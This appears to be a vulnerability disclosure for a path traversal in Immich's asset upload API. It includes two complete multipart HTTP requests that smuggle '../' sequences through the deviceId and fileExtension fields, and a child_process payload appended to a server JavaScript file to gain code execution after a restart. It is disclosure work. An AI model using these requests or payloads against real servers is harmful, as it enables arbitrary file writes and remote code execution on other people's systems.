# Description
Immich constructs the path, filename, and file extension of uploaded files from improperly sanitized user input. Therefore, the upload function is vulnerable to a path traversal attack leading to arbitrary file write. This can lead to RCE by overwriting JavaScript files.
# Proof of Concept
As we can see in the linked occurence, the file path is constructed by appending the HTTP parameter `deviceId` to a base path, the file name is constructed by appending the parameter HTTP `fileExtension`. This allows us to manipulate a file upload request in such a way, that we can upload arbitrary files. Note that non-existing folders are created by the web application. This only works if the user running the web application is allowed to write in the target destination. In my test case, the web application is running as root, i.e. the web application can write files everywhere.
The manipulated request to write to `/path/traversal/poc.txt` looks like this:
“`
POST /api/asset/upload HTTP/1.1
Host: 10.0.2.15:2283
Content-Type: multipart/form-data; boundary=XXX
Content-Length: 773
Connection: close
Cookie: immich_access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjNWRhYTE0MC1jYTEzLTQxOGYtYjFkMy0wNzZjNTRhZTgyYTAiLCJlbWFpbCI6Im5vdGFuYWRtaW5AdGVzdC5jb20iLCJpYXQiOjE2NjMyODM4MDUsImV4cCI6MTY2Mzg4ODYwNX0.huMeAjpqSyfqvn-FmNge6zcir9w50jegD2ZnQmqw_7w; immich_is_authenticated=true
–XXX
Content-Disposition: form-data; name=”deviceAssetId”
pathtraversal.poc
–XXX
Content-Disposition: form-data; name=”deviceId”
../../../../../../../path/traversal
–XXX
Content-Disposition: form-data; name=”assetType”
asd
–XXX
Content-Disposition: form-data; name=”createdAt”
2022-09-05T11:24:43.312Z
–XXX
Content-Disposition: form-data; name=”modifiedAt”
2022-09-05T11:24:43.312Z
–XXX
Content-Disposition: form-data; name=”isFavorite”
false
–XXX
Content-Disposition: form-data; name=”duration”
0:00:00.000000
–XXX
Content-Disposition: form-data; name=”fileExtension”
/../poc.txt
–XXX
Content-Disposition: form-data; name=”assetData”; filename=”poc.txt”
Content-Type: image/jpeg
this is a path traversal poc
–XXX–
“`
When checking the filesystem, we can see that the file `/path/traversal/poc.txt` has been written.
### Escalation to Remote Code Execution (RCE)
In order to escalate the vulnerabiltiy to RCE, we can overwrite any JS file with our payload. The payload gets executed when the web application is restarted. For the PoC, we will use the file `./dist/apps/immich/apps/immich/src/constants/jwt.constant.js`:
“`
“use strict”;
Object.defineProperty(exports, “__esModule”, { value: true });
exports.jwtSecret = void 0;
exports.jwtSecret = process.env.JWT_SECRET;
“`
We will use the following RCE PoC payload to create the file `/tmp/pwned`:
“`
require(‘child_process’).exec(‘touch /tmp/pwned’)
“`
We can append the payload to the file with the following request:
“`
POST /api/asset/upload HTTP/1.1
Host: 10.0.2.15:2283
Content-Type: multipart/form-data; boundary=XXX
Content-Length: 974
Connection: close
Cookie: immich_access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI4N2M5OGRiNy05NDhkLTRhM2YtODgwYS01ZTZkOWIwNGY1ZjAiLCJlbWFpbCI6Im5vdGFuYWRtaW5AdGVzdC5jb20iLCJpYXQiOjE2NjMzMTI3OTksImV4cCI6MTY2MzkxNzU5OX0.jylfZFvURjaEFsyGijuZk552qr_FDjMtjAkLSYH0x-M; immich_is_authenticated=true
–XXX
Content-Disposition: form-data; name=”deviceAssetId”
pathtraversal.poc
–XXX
Content-Disposition: form-data; name=”deviceId”
../../../dist/apps/immich/apps/immich/src/constants/
–XXX
Content-Disposition: form-data; name=”assetType”
asd
–XXX
Content-Disposition: form-data; name=”createdAt”
2022-09-05T11:24:43.312Z
–XXX
Content-Disposition: form-data; name=”modifiedAt”
2022-09-05T11:24:43.312Z
–XXX
Content-Disposition: form-data; name=”isFavorite”
false
–XXX
Content-Disposition: form-data; name=”duration”
0:00:00.000000
–XXX
Content-Disposition: form-data; name=”fileExtension”
/../jwt.constant.js
–XXX
Content-Disposition: form-data; name=”assetData”; filename=”poc.txt”
Content-Type: image/jpeg
“use strict”;
Object.defineProperty(exports, “__esModule”, { value: true });
exports.jwtSecret = void 0;
exports.jwtSecret = process.env.JWT_SECRET;
require(‘child_process’).exec(‘touch /tmp/pwned’)
–XXX–
“`
In order for the changes to take effect, the attacker has to wait until the web application is restarted. We can simulate this by stopping and then starting the docker container:
“`
$docker stop immich-app_immich-server_1
$docker start immich-app_immich-server_1
“`
After this, verify that the PoC file has been created. This allows an attacker to execute arbitrary commands on the system.Read More
References
Back to Main